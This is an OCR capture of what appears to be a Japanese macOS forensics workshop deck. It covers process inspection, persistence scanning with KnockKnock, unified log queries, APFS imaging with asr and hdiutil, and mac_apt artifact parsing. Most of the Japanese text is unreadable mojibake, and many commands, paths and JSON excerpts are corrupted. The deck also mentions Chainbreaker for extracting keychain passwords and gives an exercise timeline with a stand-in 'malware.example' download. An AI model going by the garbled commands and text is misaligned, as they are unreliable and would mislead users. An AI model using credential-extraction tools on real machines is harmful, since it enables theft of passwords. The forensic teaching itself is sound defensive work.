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Q

% ps -axo user,pid,ppid,start,time,command
USER PID PPID STARTED TIME COMMAND

\ == =711 _3 ~
root 1 © Thue9AM 22:22.02 /sbin/launchd Finderh'5ZE1T7UIE7 VI —23>0
root 63 1 Thue9AM ©:15.08 /usr/sbin/syslogd

root 64 1 Thue9AM  1:24.58 /usr/libexec/UserEventAgent (System) ¥EthXID(i1 (Lajtbasj
root 67 1 Thue9AM 0:09.08 /System/Library/PrivateFrameworks/Uninstall.framework/

(snip)

macforensics 27752 1 5:15PM ©0:14.37 /Applications/GitHub Desktop. app/Contents/MacOS/GltHub Desktop

macforensics 27756 27752 5:15PM  0:03.20 /Applications/GitHub Desktop.app/Contents/Framewor

(GPU) .app/Contents/Mac0S/GitHub Desktop Helper (GPU) --type=gpu-process --field-trial-handle=171§ \ =4 =7 3,9
macforensics 27758 27752 5:15PM  0:02.60 /Applications/GitHub Desktop.app/Contents/Framewo DOCkb b;%'fTbﬁ_) ij— /3/0)

Desktop Helper --type=utility --utility-sub-type=network.mojom.NetworkSer —+N =
macforensics 27759 27752 5:15PM  0:21.10 /Applications/GitHub Desktop.app/Contents/Framewo ¥EthZ|D:E)1 (Lajtbij
(Renderer).app/Contents/Mac0S/GitHub Desktop Helper (Renderer) --type=renderer --field-trial-handle

(snip)

macforensics 66491 1 Mon@8AM 20:17.50 /Applications/Firefox.app/Contents/Mac0S/firefox -foreground

macforensics 66492 66491 Mon@8AM  ©:06.37 /Applications/Firefox.app/Contents/MacOS/plugin-container.app/Contents/Mac0S/plugin-container -childID 1
-isForBrowser -prefslLen 1 -prefMapSize 250879 -jsInitlLen 278884 -sbSt

macforensics 66493 66491 Mon@8AM  ©:01.68 /Applications/Firefox.app/Contents/MacOS/plugin-container.app/Contents/MacOS/plugin-container -childID 2

-isForBrowser -prefslLen 5070 -prefMapSize 250879 -jsInitlLen 278884 -s
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% sudo launchctl procinfo 608

Password:

program path = /Applications/Google Chrome.app/Contents/Mac0S/Google Chrome
Could not print Mach info for pid 608: @x5

argument count = 2

argument vector = {

}

[0] /Applications/Google Chrome.app/Contents/Mac0S/Google Chrome
[1] = -psn_0_208947

environment vector = {

(snip)

USER => macforensics

MallocNanoZone => @

COMMAND_MODE => unix2003

PATH => /usr/bin:/bin:/usr/sbin:/sbin

LOGNAME => macforensics

SSH_AUTH_SOCK => /private/tmp/com.apple.launchd.868a40knWL/Listeners
HOME => /Users/macforensics

SHELL => /bin/zsh

TMPDIR => /var/folders/yb/qc221tgs12z203pjg52r40m40000gn/T/

com.apple.xpc.launchd.oneshot.0x10000004.Google Chrome =

active count = 7 . -

copy count = @ SpOt|Ight7)‘bE§}Jb7?_
one _chot = 1

path = (submitted by Spotlight.395)
sState = running
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s TrueTree CERINR—J LAV Z HESR

% sudo ./TrueTree --timestamp --sources

ChromeD3RTIOTZAN
SpOtlIg ht(:@')tb\g sktop — -zsh — 268x19

stem/Library/PrivateFramewor egories.framework/Versions/ rvices/CategoriesService.xpc/C ents/Mac rvice
/Applications/Google r app/Contents/Mac0S/Google
Aipplications/Google r E ML WO L rome Framework.framework/ sions/96.8. 4664, ‘He /Google Chrome Helper (Renderer).app/Contents/Mac0S/
fhpplications/Google r E hrome Framework.framewor sions 8. . 'He /Google rome Helper.: ontents/Macl
fApplications/Google r g egnts @ '_ g Chrome Framework.framewor sions/96.08.4 . i fGoogle r 1 E Jntﬁntsfﬂacﬂb;
Jfhpplications/Google r app/ ents/ eworks/ e Chrome Framework.framewor sions 8. . f Google
fApplications/Google r E f ents/Frameworks /G e Chrome Framework.framewor sions/96.8.4 . Help ,chrome_
fhpplications/Google r F [ ents/ eworks/Google Chrome Framework.framework sions/946.8.4 . 'He /Google C
.apple.loginwindow.plist
fln;inwindnw app{ tsfMachflo;inwindnw 1

*USLJhlnflugln 688

fbin/zsh 681
fUsers/macforensics/Desktop/TrueTree
Sfusr/bin/sudo
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std_apppath_system_vol = ( -
'/System/Applications/',
'/System/Library/CoreServices/',

CZOEBIRITIOIIAG A macOs 10.1541f.
Ead)jj) I/QJ’X—F(L@T:Ea-é :ijstem,fLibtaryiPriva‘teFramewarks,f ' J_ |\7|-/ J__CQ'j/ |\

. /System/Library/CryptoTokenkit/", éhét&;\ Eﬁlé/uéﬂ?a
°macOS 10.15L4F. X7 L7k JayatonfLibraryyirage Chptural, FEBRIE(HRL
IJJ_AC;_QWQIJJ_AD\%EEU ' /System/Library/Input Methods/', (Appendix 3Z88)

' /System/Library/PreferencePanes/ ",
7:_ ' /System/Library/Services/',
' /System/i0SSupport/’,

- :/Z?AT‘\‘UJ_—A(iread-OI‘;i}/_C?'j ' /System/Installation/', B :/Zj__hﬂ_‘\\ljl_h

\/l\én_CBD\ a&é“/\léné Bﬁﬁ'ri :fusrflibe;lte.:,f',
(j:'f-EEL/\ Jusr/bin/',

'fusr/shin/"',
* macOS 118> T LRI — A s
(CEZEIND )
SEIAS
© EJEI E.O)Eﬁur\l_\__l\ std_persistence_system_vol = (
" T LNBRLSRAB T AN i
ANBERITSN TV ) i
" JOJZLRIBEN> ST M g =
o S _apppath_data wvel = (
EE E H%tﬁﬂ(tﬂ\b\b\ ' fApplications/’',
'/Library/Apple/', —_ W
'fLibrar:MSEIication Support/', r T _QT\IJJ_—A

'fLibrary/Extensions/'
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© °NetiquetteD3E4T4!

% /Applications/objective-see/Netiquette.app/Contents/MacOS/Netiquette -1list -names -pretty -skipApple

(snip)
{
"process" : = — _
p"pid" : "62491", :@'fé%{f—fjtb\éjﬁjtx
"path" : "¥/Applications¥/Firefox.app¥/Contents¥/Mac0S¥/firefox",
(snip)
"connections” : [
{
"remoteHostName" : "239.237.117.34.bc.googleusercontent.com”,
"protocol™ : "TCP",
"interface" : "enlQ", P
"localAddress" : "192.168.11.2", FEHTIRRE
"state" : "Established",
"remotePort"” : "443",
"localPort" : "64138",
"remoteAddress" : "34.117.237.239"
1.
(snip)
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» https://www.crowdstrike.com/blog/how-to-leverage-
apple-unified-log-for-incident-response/
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O < AEY ECOHEEEFREIN DO D5

- T IO AORIBERR TICBET 304

« AT LAADTOTANKEICEEEFRIND
ARFHABIEIER (B (5~ 10012E)

% log show --info --debug --predicate 'eventMessage BEGINSWITH "UID:" OR eventMessage BEGINSWITH "PID:"' --start '2021-12-21 16:40:00' --end '2021-12-21
16:45:00"

Filtering the log data using "composedMessage BEGINSWITH "UID:" OR composedMessage BEGINSWITH "PID:""

Timestamp Thread Type Activity PID TTL .

2021-12-21 16:43:28.173150+0900 0x31cc62 Info ox0 102 %] opendirectoryd: GItHUb DeSktOpEEjJ PID: 45080,

Client: 'mdworker_shared', exited with @ session(s), © node(s) and @ active request(s)
(snin)

2021-12-21 16:44:37.723764+0900 0x31cfl4 Info 0x1527c0 102 0 opendirectoryd: [com.apple.opendirectoryd:session] UID: 501,
EUID: 501, GID: 20, EGID: 20, PID: 45140, PROC: GitHub Desktop RPC: getpwuid, Module: SystemCache, rpc version: 2, uid: 501

(snip)

2021-12-21 16:44:42.757718+0900 0x31cfl2  Info ox0 102 (2] opendirectoryd: [com.apple.opendirectoryd:session] PID: 45140,
Client: 'GitHub Desktop', exited with © session(s), @ node(s) and © active request(s)
(snip)

GitHub Desktop#%& Y
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O SATIRT LTV —T4IT7INRDBI7AINZEUS TS
" macOSDTY =T I77 NIRR AR BIZPRICRTEL THED. OSON 23>y TICEER:
3\&’ ijgkl,(\ BTV ANEEENBENE 4 HBIch. V- Z{ERTBE
" 7=T4I7) NI ) OYERNZHESTED . AFHAT DY — WS HRGRICAS TF>
AN TVWBTENEFLLY
© macOS Artifact Collector (macosac)
" https://github.com/mnrkbys/macosac
" https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020 7 kobayashi jp.pdf
" SIPTERESN TV I7 AU, 51 I3 2T hATEUETERVED, TARTAA—D
BEATEF(CTOAIN— BT BN TARAIA A= BEIZAFNTI DY I Z{FES

= NTFSERERD, HFS+, APFSEBICTFAIV S AT ADAIT =R I TPV ELTI Iz
ATER

® SIP = System Integrity Protection
» macOSOTF1UT1IL—LT=ID1D (Appendix 4=8R)
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o= AT IADEELEREIINETOY 7 LADEHRZEUS I 2
° KnockKnock

" https://objective-see.com/products/knockknock.html
= Windows®DAutoruns(cH=93Y—)

» https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns

= RREIENZDTO0J I LDBRIZEE. VirusTotal COIRAMARREZSIRT
BDIENTED

. iﬁ{%ﬁb\} (=2 RFOADID N)-ZZRBRDIADENTEDRIEH. 5D

" TEDmMacOSTA -y MBAD>O—RUIET0) S ANET(C(ET
— REBZLNNATHDID. BEIRECIS—HH2707 3 AIFEENLL
EHIERTEDS

" mac_apth'#HTULERL\Quicklook T 59 1 SR TES
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o J—T4IJ7IRITAIIEE (3/4)

[ ] ® KnockKnock

. Start Scan

Categories: Items:

m Library Inserts - & PerculialoginHelper

libs inserted by DYLD_INSERT_LIBRARIES

Library Proxies O A LuLu

dylibs that proxy other libraries

ﬁ A Brewlet

Login/Logout Hooks 8 BlockBlock Helper

items executed upon login or logout

' Periodic Scripts 8 MountyHelper

scripts that are exe d periodically

Quicklook Plugins @ 8 KeepingYouAwake Launcher

registered guicklook bundles
Spotlight Importers m A WallpapersLauncher
tlight (mdworker) Y 0712 @

bundles loaded by Spo

‘ Scan Complete
[ e |

% /Applications/KnockKnock.app/C -pretty > ~/Desktop/kkResults_sample.txt
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% jq '.’° kkResults_sample.txt
(snip)
"Login Items": [
{
"path": "/Applications/LuLu.app/Contents/MacOS/LuLu",
"hashes": {
"md5": "E140C97A5D60B342|

"shal": "8D489231A242131 VirusTotaI(D*ﬁ%Mﬁiﬂ

"0/70",

Jo
"VT detection”:
name :  LULU ,
"plist"' "n/a",
"signature(s)": {

";ignaku;;‘d;atifi;r": "com.objective-see.lulu.app",
"signatureStatus": o,
signaturesigner : 3, _

"signatureEntitlements" %%*ﬁgﬁ%ﬂz%

"com.apple.developer.
"com apple.applicatio
"com.apple.developer.neéTWor

"content-filter-provider- systemexten51on

tive-see.lulu.app",

1,
"com.apple.security.application-groups": [
"VBG97UB4TA.com.objective-see.lulu”
1,
"com.apple.developer.system-extension.install": true
}J
"signatureAuthorities": [
"Developer ID Application: Objective-See, LLC (VBG97UB4TA)",
"Developer ID Certification Authority",
"Apple Root CA"




® v 1x-Eus

32



o TAAVAX—THUSF (1/10)

O o TARAIVAA—-HUEDER

BNITHE(CROEI7( L O
> VI TP OREARE
« FATIATATIFEUS TERL (SIPT/RESINT
LB) =717 bNOEVS
» Quick Look3vw=>21J71)
» AT AF—FI-IBEEENYRI—F—
« ZR}EDH TrRIEDAZEAT

33



()

o TAAVAX—HUS (2/10)

5 o BBB{EAPFSDT A RIARXA-SZ1ES I AINE L
* APFS(ET7AIVS AT AL TRESAEZYR— MU TLSTZ8h,

ddOLE5RY - CIE —ZiTo CEIES{ LN FzE
= T2FVT /M1 Oty hEEENEMacTlE. BNSOH(TF
FENTLRES(EF—EESICREERBH, I
;/Jit“(atﬁ’ai%—4 LAPFSODTARIAAR—SHIES ITBRENTE
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o TAAVAX—HUSF (3/10)

O o TARIA A= BUSDZE R

- Un)\UE-RTEENTFIUTI-FT1UT1DEKTE
e

- ZEIECE) (Secure Boot)
» T+ 154720 (No Security) Z1%#IR9 3

- 51 EPECE) (Allowed Boot Media)

» SAEBXT 1 7B DFCENZEFE] (Allow booting from
external or removable media) Z1EIR9I 3
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MACRQUIS

5 ©Cellebrite Digital Collector
* BAEME (IHMacQuisition)
= ROJ IV SEEEIL CRES{LAPFSOIESENIETARIA A=
ZHS TED
> Intel Mac
»M1 Mac (Version 3.3CXII5)
* BEENIZAPFSTARIA A= DIEFAL IS5 (S ofcFF
> https://twitter.com/unknOwnbit/status/1254971428606107648
" FERELT. BERBRAPFSTARIA A= ERBIZD XL T
WL =)L TIEAEEIT TER0
" EESNTARIARA=SJIHEE TEBTA—NY NMIAFFAD G
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O ° AFF4 (The Advanced Forensics File Format 4)

s ALY SvIRICERTE NIz IA— Ry NER, FERSE &RV TY
A= RUTUBY—ILIEEAERS, TP TA =X N T

= TSKICAFF4%ZH7h— 3 B1cbDPullRequestiH TLVBHY, ¥—
SHTLRWN
> https://github.com/sleuthkit/sleuthkit/pull/1272
- %FtFﬁ%GitHubUn“@ MICIFSATSUEGEBRERDHN RS
\
> https://github.com/aff4/pyaff4
> https://github.com/aff4/aff4-cpp-lite
= AFF4 CPP Light v2.0%Z{£>C. Digital Collector CYERUTZ
?EF-%%Z\/] A=IMERAWT A ZATA A -7t TE DL
G/
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—

® TARIJAA-THUS (6/10)

()

> o AFF4 CPP Light v2.0
= macOSTIVI\AIL I BISHDIEIE -2

aff4-cpp-lite/blob/master/src/AFF4Containers.cc : 1291TH

int fileHandle = ::open(filename.c_str(), O_RDONLY | O_LARGEFILE);
!
int fileHandle = ::open(filename.c_str(), O_RDONLY);

aff4-cpp-lite/blob/master/src/AFF4Containers.cc : 1371TH
int read

::pread64(fileHandle, buffer.get(), AFF4_RESOURCE_BUFFER_SIZE, 0);
1

int read ::pread(fileHandle, buffer.get(), AFF4_RESOURCE_BUFFER_SIZE, 9);

- 1>\
» MEBRIVY RPIAJ 35U Ebrew TA A M=)l

git clone https://github.com/aff4/aff4-cpp-lite.git
cd affd-cpp-lite
./autogen.sh

% ./configure CC=clang CXX=clang++ CXXFLAGS="-std=c++11 -stdlib=libc++ -02 -g@ -I/usr/local/opt/openssl@l.1l/include" LDFLAGS="-

stdlib=1libc++ -L/usr/local/lib -L/usr/local/opt/openssl@l.1/1ib" SSL_CFLAGS="-I/usr/local/opt/openssl@l.1/include" SSL_LIBS="-
L/usr/local/opt/openssl@l.1/1ib" LIBS="-lcrypto" --prefix=/usr/local/aff4-cpp-lite
% make

3R 3% 3R X
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O ° macOS_FE (1)
* macOSKRWINnFEEBEINRETTE
> https://github.com/ydkhatri/Presentations/blob/master/macO
S%20Forensics-MUS2020.pdf
» E&E(FmacOS 10.15TAZERENTL\DHY, macOS 11.6TEREUAGE
TT AR A= SIS CE SRR o
= USBAEUAPR—=HT)LSSDICmacOSZA > A =)L, EDX
L= hBMaczitie#U T TAAVA A= DEUS 2172
» SBFI(CUN/NE—RTesrutilzE>TSIPOERN LN E
» SRR RRINSSSDEHER \
- RS NOEIRESORIBENFER T, EEOY— LIV
Re{EFIDIENTED
> Y — RN =F1DY—ILEEEHA > A M=) B]HE
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https://github.com/ydkhatri/Presentations/blob/master/macOS%20Forensics-MUS2020.pdf

()

o TARAUAX—THUSF (8/10)

> omacOS_FE (2)

= NoMountDaemon

» https.//github.com/ydkhatri/macOS FE/tree/master/
NoMountDaemon

» FEBZ R —SHSEEENUTEBRIC. macOSHNE RS1 T %
BElNJ>NIBD%ZH1ETS
»macOS 11.6 CHENMEI B L ZMERRH

» Disk Arbitration FrameworkZzFIFHU TL\3/z8. macOS
NCOIL—LD—D%Hh— NI BRDELEE T DEBNHNS
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https://github.com/ydkhatri/macOS_FE/tree/master/NoMountDaemon

o TARUAA-THUS (9/10)

()

> omacOS_FE (3)

= asr AN RTTARIAAX=7EUE IS
> EL\TF(Fdd[SATVS
» IES{CLAPFS1—AZESLTIE—9F3ENTES
o TARIAA=ZEUSRIC T > OVINE
» Digital Collector& 2120, EES{EI37E9MB
> 212U REIDE TRRIES LU O-HILAFYT a3y NMEaE
— L)

% sudo launchctl unload /System/Library/LaunchDaemons/com.apple.revisiond.plist

% hdiutil create -fs apfs -size 500GB evidence.dmg T 4 AV A *A—T%RET D RS A TEEREKICET
% sudo hdiutil attach -nomount evidence.dmg

% diskutil apfs unlockVolume disklsl -nomount -HBEELAPFSIRI) a—LZ7r0OYY

% sudo asr restore --source /dev/diskl --target /dev/disk5 --debug --erase --verbose

T
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()

—

® T4

A A=

\\\

(10/10)

> omacOS_FE (4)

« asr AN RTEUEUET A RAIA AT (FEEHETH
Blcdh. TARIAA— “‘@ﬁﬁ%ODZ N —Z(EA

SHILREE

ULEDHEDZF

2 IAINENHD

% sudo hexdump -C /dev/disk5 |

36045220
3720350
37214790
37a31710
37a855d0
37a856¢0
37a857be
37a858b0
~C

00
11
36
£f
62
00
00
48

00
48
48
£f
22
00
o1
6f

o1
6f
6f
f
00
o1
00
70

00
70
70
of
48
00
28
70

18
70
70
23
6f
20
00
65

00
65
65
50
70
00
04
72

04
72
72
4
70
04
02
20

% sudo hexdump -C /dev/diskl |

~C

fgrep Hopper

02
20
53
7
65
02
23
53

11
53
63
48
72
le
00
63

00
63
72
6f
53
00
48
72

48
72
69
70
63
48
6f
69

fgrep Hopper

6f
(5
70
70
72
6f
70
70

70
70
74
65
69
70
70
74

70
74
2e
72
70
70
65
2e

65
2e
74
20
74
65
72
74

72
74
74
53
2e
72
20
74

[eevenintn Hopper |
| .Hopper Script.t|
| 6HoppersScript.tt]|
|....#P. .Hopper S|
| ." .Hopperscript. |
[oeee vontn Hopper |
|...(...#.Hopper |
|Hopper Script.tt]|

JE=SEDTA AV
FEXHRZD

A€ - RIUXFSIT
MRUTER DB
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V=747 N J74 )BT

o FEATY — )lxd)ﬁ‘i%’a':ﬁﬁ =
- NIVIIVRERFEABRDISS. ACTJOTAYY -1
JN— /Z7_'>7\(D E’pjﬂﬁ SLDEITERESFZ
W2 d
o BEATY —) RO SUNC RS
o 7 —T 47 bOfEER (FAppendix 1288
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()

® TARUAX=TfEMT (1/2)

, °Digital Collector CHSUIZAE S F+APFS
DT ARTARXR—=JERFICH T D ERE R
» AFFAICR IGURY —IILEE (LM 0
- l§R{E I3 78R T, 1ESBEHAPFSZEFTI 2
ENHd
s COIIRTAADAA—=ZHAPFSINII—LAEUTN IO KT

E2Y—JIRVED, TARIAA—SEIIS NTHE%
BiiRL U BRAT Y — L Ed S T2 0

>macOS_FETEUSUESSNTEAPFST AR
NAAX=D(C(F. COLORBIREIEIRLN
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FTARIDAX=ZERAT (2/2)

o D| |\’\cjal )Cl/ollector'CHSi SURTARAITAA—=JITTIHUT
© ﬁﬁﬁ&un

= Cellebrite Inspector
= Magnet Forensics AXIOM
o A=TV-RYITNITT

" mac_apt
> APFSZAFYT 23y NMIFEMT TSR0

* The Sleuth Kit (TSK)
> BESEI5) 2R TR TES
> AFFAZ BT TER VDT, RAWAREO 1 (LN W
> TSKICL BT Af(EAppendix 2ZE88
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® mac_aptlicLdT 1 RIA X—FH

) BT ROTARIA A= SLERI DTS
TAE1EETS

()

% python ./mac_apt.py -o ../mac_apt_out/test_image/ -d DMG data.dmg ALL
Output path was : /Users/macforensics/Documents/GitHub/forked/mac_apt_ "8

MAIN-INFO-Started macOS Artifact Parsing Tool, version 1.4.6.dev ki .

MAIN-INFO-Dates and times are in UTC unless the specific artifact ﬁﬁﬁ(:ﬁﬁﬁ@‘éﬁ%’]»{‘/%

MAIN-INFO-Python version = 3.9.9 (main, Nov 21 2021, ©3:23:42 AN =HA>

[Clang 13.@)./0 (clang—1300.0.29.3)§ ) ALL: :'E_C@jjlj’f/ . TP — .
MAIN-INFO-Pytsk version = 20170801 FAST : Unified Logs, SpotlightZR{&TDnT 31>

MAIN-INFO-Pyewf version = 20140807

MAIN-INFO-Pyvmdk version 20181227

MAIN-INFO-PyAFF4 version = 0.31

MAIN-INFO-Opened image /Volumes/macOS-FE/Users/macosfe/Documents/test_image/data.dmg
MAIN-INFO-Looking at FS with volume label 'disk image' @ offset 209735680
MAIN-INFO-Found an APFS container with uuid: 2FC5F464-F43A-4672-935D-1EBDEOF725FE
MAIN-INFO-Reading APFS volumes from container, this may take a few minutes ...

(snip)
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=
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® macOSTAL>IWITEERIPAIVIA-XYE (1/5)

O emacOSDIFEAEDT —T1T7I R I71 UL
BUFD220IA—NY MDEESMNITED
= Property List (plist)
= SQlite

- EESBIRENIGTT A IA—NYNTHBIC
. T—HDSIRBE NI E
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® mMacOSTAL>IWITEERI7TAIVIA—-XYE (2/5)

- °Property List (plist)

* NeXTSTEPBF{AMSTFTET D

* Mac OS X 10.0 : XMLIA—Ywvk

= Mac OS X 10.2 : )\ FUTA—-YwHE A NS

»Mac OS X 10.4LAB& (N1 FUTA -V T TAIL B

= PV -3 0O TEBYRWE I A IVERE,
Bookmark#ZiafA (WindowsDLNKICHHZETS) D&
ST —ADRFIEONBIZENZ L)

* WindowsDL S Z NITHHZE I 2 T7IVIEH, 7TV —
>3 VB E(CTTAIVIMEREN DTS, T7(IL> R
T LAADERRZ BRIGPh(C=TELTULS
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® macOSTAL>IWITEERI7AIVIA—=XYE (3/5)

> Property ListI7/)LDAI (Dock®DE%7E)

% plutil -p ~/Library/Preferences/com.apple.dock.plist

{

"last-analytics-stamp" => [

0
1

=> 661309697.920567

"last-messagetrace-stamp" => 652487714.566655
"loc" => "ja_JP:JP"

"mod-count” => 2354

"persistent-apps" => [

]

o

=> {
"GUID" => 2837758940
"tile-data" => {
"book" => {length = 592, bytes = 0x626f6f6b 50020000 410

"bundle-identifier" => "com.apple.siri.launcher"
"dock-extra" => @
"file-data" => {
"_CFURLString" => "file:///System/Applications/Siri.app/"
"_CFURLStringType" => 15

"file-label" => "Siri"
"file-mod-date" => 3670014440
"file-type" => 169
"parent-mod-date" => 3673467070
3
"tile-type" => "file-tile"

=>{
"GUID" => 3389811420
"tile-data" => {
"book" => {length = 556, bytes = 0x626f6f6b 2c020000 410

. 04

"bundle-identifier" => "com.apple.Safari”

Y

00000000 }




C

® mMacOSTAL>IWITEERIPAIVIA—-XYE (4/5)

> »SQLite
= plisteEUL7 TV —2 3> D B EEE Z 1R

FI23EmMTEMNTLS

- AB(CH. FRETT —HPPURLYDIEZET —AHDblob.
JNAFVITA=Y RDplistREZIRIF I DG E(ED
ns
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® macOSTAL>IWITEERIPAINIA—NYE (5/5)

O < SQLited7A )LD (CFURL Cache)

= NSURLRequest APITHTTPEZIEFHTTPSTYI1ZA9%
BROFrv 17 EIHETS

TV -2 Bk anEiEan el

= ~/Library/Caches/com.apple.osascript/cache.db

F—7I: || cfurl_cache_response B =

entry_ID | verslocn hash_value storage_policy reqguest_key time_stamp partition

1 0 -BO0BEZBO0930625395189 0 https:fjstackoverfiow.com| 2020-11-09 01:58:45
2 a 16478823406 0 hitps:jiwwwexamplecomf 2020-11-09 02:10:43

Q 2145575174 Q I'IT'[pS:l"IITE'l\'.g|THIJEILIS€|II3EI ntent.c:om,n'ltg-a- reaturefOrchard/master/Orchard)s 2021-02-02 06:58:03




© 7 orrmirY-I
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o J—T4J7JNEMY-IL (1/3)

0 °macOSTAL > 2y TIERSN SRR
V=4 TP MENTY = V2 VKO DNETT
93

o BEMTIAERR I BY—)UIEHRFERY (CAS T F
AN TVAREDZIEIRTADNEE




7 =747 MERY =)L (2/3)

° ¥R ERATY — LA
" mac_apt
» https://github.com/ydkhatri/mac apt
> 40A EDTST4>
> %I)EI?JIJCDJ —T4I7IRI7PAINDED. BRER TEUSUTARATAA-SEETTE

> FAATAA=T=I N T (LT CED
> XTI AN 54T
® AutoMacTC
> https://github.com/CrowdStrike/automactc
> 2600 T304
> AT FIRIIME TR
= APOLLO
> https://github.com/mac4n6/apollo
> F(CHEETBIRZ EEERL CL\BDBZART I %
> AT FIRIIME TR
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https://github.com/ydkhatri/mac_apt
https://github.com/CrowdStrike/automactc
https://github.com/mac4n6/apollo

()

V=747 MERY =)L (3/3)

| MEBIARATY — L)
= DSStoreParser
> https://github.com/mnrkbys/DSStoreParser/tree/fix bug non-ascii
> WindowsD$I130(cH B9 5[ .DS_Store | J7 1 IV ZfEHT I S
> TANARDT A 2N ERESN TS
> %‘Efﬁ@.DS_Store(C(I??*( IVHEIBRENZRIOTAIA INZAEELERSNTL

" Chainbreaker2
» https://qgithub.com/n0fate/chainbreaker
> Wi-Fi7JCAMA> M7 U —23> 0N AT — R, WebY 41 bOT7HT>
WIRD— Rz 3
> I7 IS XT AEFRNIC TP/ LA TS ERMTHNTHED. ES(CEY
A—F—HhE
> NAA—F—MRFENTOVBI7MILIESIPTRESN TS
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https://github.com/mnrkbys/DSStoreParser/tree/fix_bug_non-ascii
https://github.com/n0fate/chainbreaker

O Aoz Fured-i
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ACAnT — 5 DHEER

4 eBeftT—AICEENZ T

= mac_aptJA)L%
» mac_apt.db : mac_aptDEFATIER
» UnifiedLogs.db : /\—=X&MNfzUnified Logs
> APFS_Volumes_<GUID>.db : /\—RSNJZAPFSAST -4
" jsonJAILA
> NVIIT DENIERTCTER S Y LD D FER
= scriptsJA LA
> BEATCIER I 2R B RIUT b
= exported_files A4
> TARIA A= B ITHIAN— NUIEBD LW I 7L
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C

o JXAZOIFI)AET-I (1/2)

> o FUA
= HDIEEDMacim RN IV D17 (R U

» 1—Y—%4 : macforensics
» TFIUFTAARD —H—DALUERIRENEXT LD,
SZHAE1—ADTARIAA—D(FEUSEH
« KnockKnock(C X BEZAT(EZEREH
* mac_aptlc kBT A RV A—=TEEETE TUTLS
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o JXAZOIFIAET-I (2/2)

O o J=J
= mac_aptDERITEE RS ALV IH9A LI

AR NIV T OEMEERREEDIR A 2 #ETE T
3

N\OZXAVEEDHBIATDER
- BB THBALET ITAETAEIA LRI T
(T XEREND
« 94 LA XEDH

2021-12-24 23:00:13 https://malware.example/download/FakeApp.dmg 4 >O—FK
2021-12-24 23:15:30 /Volumes/Suspicious Volume/Suspicious App ZFZE{T




o REFIET

) o UVIIT BB EITORERITIEN S,

FAEDEHRNDEL TN RTINS
cIN=2AFDADIA LA T E(CUT, NIV

VIR D T I)T1ET1 AR T D
ARANFERINEGE. IN— AT AEOR %

M2 BENTI B

" EDUVWVMRIAMER D D5 E . SEVOBMRIEEAFTI D

o NIWIT T (CRRZEUILIR

X

ZHREID
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o fEMTICFEARATISZY-IL (1/6)

O - DB Browser for SQLite
= https://sqalitebrowser.org/
« mac_aptDFTHERETJA4) N TSQLite DBICR
FENs
= Unified Logs&EAPFSHSQLite TIUAR— &N
« JINAU I ERGEIITICEN TES
- SQLITUEMNIBNS



https://sqlitebrowser.org/

—_

JAY

® ﬁgj:ﬁ(:{ﬁﬁﬁa_%\y_“/ (2/6) Eﬁﬂ#‘)\/\/kDB@T—G’%—:

F—JIER |

"Z DB Browser for S(

B T—FR—REML(0)

| F—7J: = Basic_Info

SR9257

= e e i

FI3UvEE | SQLRT

B & @&

w

cOS DFIR Workshop/E#H>—% [mac_apt/mac_apt.db

E/OY 17 M EREV)

o T—F RIS (A) RKr-—%

06

T FEAF B

INFO_TYPE

Description

SYSTEM
SYSTEM
HARDWARE
HARDWARE
SYSTEM
SYSTEM
TIMEZONE
USER-LOGIN
USER-LOGIN
USER-LOGIN
USER-LOGIN
APFS

APF5

APFS

APFS

APFS

AFFS

APFS

APFS

APF5

APFS

APFS

APFS

macOs Version

macOS Bulld verslon

Mac Serlal Number

Model
Computerhame
LocalHostName
TimeZone Set
lastUser

lastUserName

10.15.5

19F101
VMZIMJSWTSV
VMware7,1
macforensics's Mac
mactorensicss-Mac
Aslaf Tokyo

Restart

macforensics

usevolceOverLegacymigrated  True

lastLoginPanic
Information
Block Slze (bytes)
Contalner size
Volume Name
Volume UUID
Size Used

Total Flles

Total Folders
Total Symlinks
Total Snapshots
Created Time

Updated Time

2021-11-25 04:49:51.851463

4096

99.80 GB

Macintosh HD Macintosh HD - Data
FEQES130-5331-4FE0-ABAB-96A9D 1743628, ...
17.43 GB

482385

134609

30748

o

2019-10-25 06:56:34.183448

2021-11-25 04:49:58 657024

Catalina
Catalina
Hardware Serlal Numbar

Mac Hardware Model

Timezone on machine

Last user {Login) Actlon

unknown

Data below represents a combined SYSTEM & DATA volume
Contalner Block size

Contalner size (SYSTEM + DATA)

Volume names (SYSTEM, DATA)

Volume Unigue Identifiers (SYSTEM, DATA)

Space allocated (SYSTEM + DATA)

Total number of flles (SYSTEM + DATA)

Total number of directorlesffolders (SYSTEM + DATA)
Total number of symbolic IInks (SYSTEM + DATA)
Total number of sNapshots (DATA)

Created date and time {DATA)

Last updated date and time (DATA)

|5y (Lbraryfc Sy
/System/Library/CoreServices/Syf
fprivate/var/foldersjzz)...

[LibraryPraf

onfiguT e

onflgur P

[Library Praf
fLIbraryF

onfigur p
[private/etc/localtime
[LibraryPraf
[Library Praf
JLIbrary’F apple.

[Library Praf

apple.loglnwl

applel

apple.loglnwl

NI LZETINA) T HTE

ST
.plist
.plist

RELLEBIT— S OHEE: 7
1XF

T

DBHL




o MEMICERAIDY-IL (3/6)

| BN "2 DB Browser for SOLite - [Users/macforensics/l

== '
‘ AR LWT—=4~—2(N) A T—=F~N—2%&M<(0) : SQLOIJ%%@*{T?%Q? (P}
SQLUTUDZFETMNI> : Fon—2FiE | F-SHE | FITIVEE

SQUITUANTYF -

SELECT * FROM Basic_Info WHERE INFO_TYFE = "SYSTEL";

INFO _TYPE Mame Data Description Source

SYSTEM macOs Version 10.15.5 Catalina |system/LibraryCoreServices/SystemVarsion. pllst
SYSTEM macOs Bulld Version  13F101 Catalina stem/Library/CoreSarvices/Systemvarsion. plist
SYSTEM ComputerMame mactorensics's Mac JLibrary/Freteranc ystemConfigura

SYSTEM LocalHostName mactorens ac JLIbraryPreferanc systemConflgura




o MEMTICEEARI DY) (4/6)

O °JQ

= https://stedolan.github.io/jq/

* JSONT —ADEERATAIAI I ZNMNTDIENTE
D

» KnockKnockY2ProcessMonitor, FileMonitor(&
JSONIA—YYRCHERZHT193
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https://stedolan.github.io/jq/

o EEMCFERTIZY-IL (5/6)

()

) e jagDfEV (1)
B INF 4

"architecture"

: 735},

{
"event" : "ES_EVENT_TYPE_NOTIFY_FORK",
"process” : {"uid" : 501, "arguments" : [], "ppid" : 507, "ancestors" : [339,1], "rpid" : @,
"Intel", "path" : "/bin/zsh", "name" : "zsh", "pid" : 735},
"timestamp" : "2021-08-11 06:05:25 +0000"
¥
{
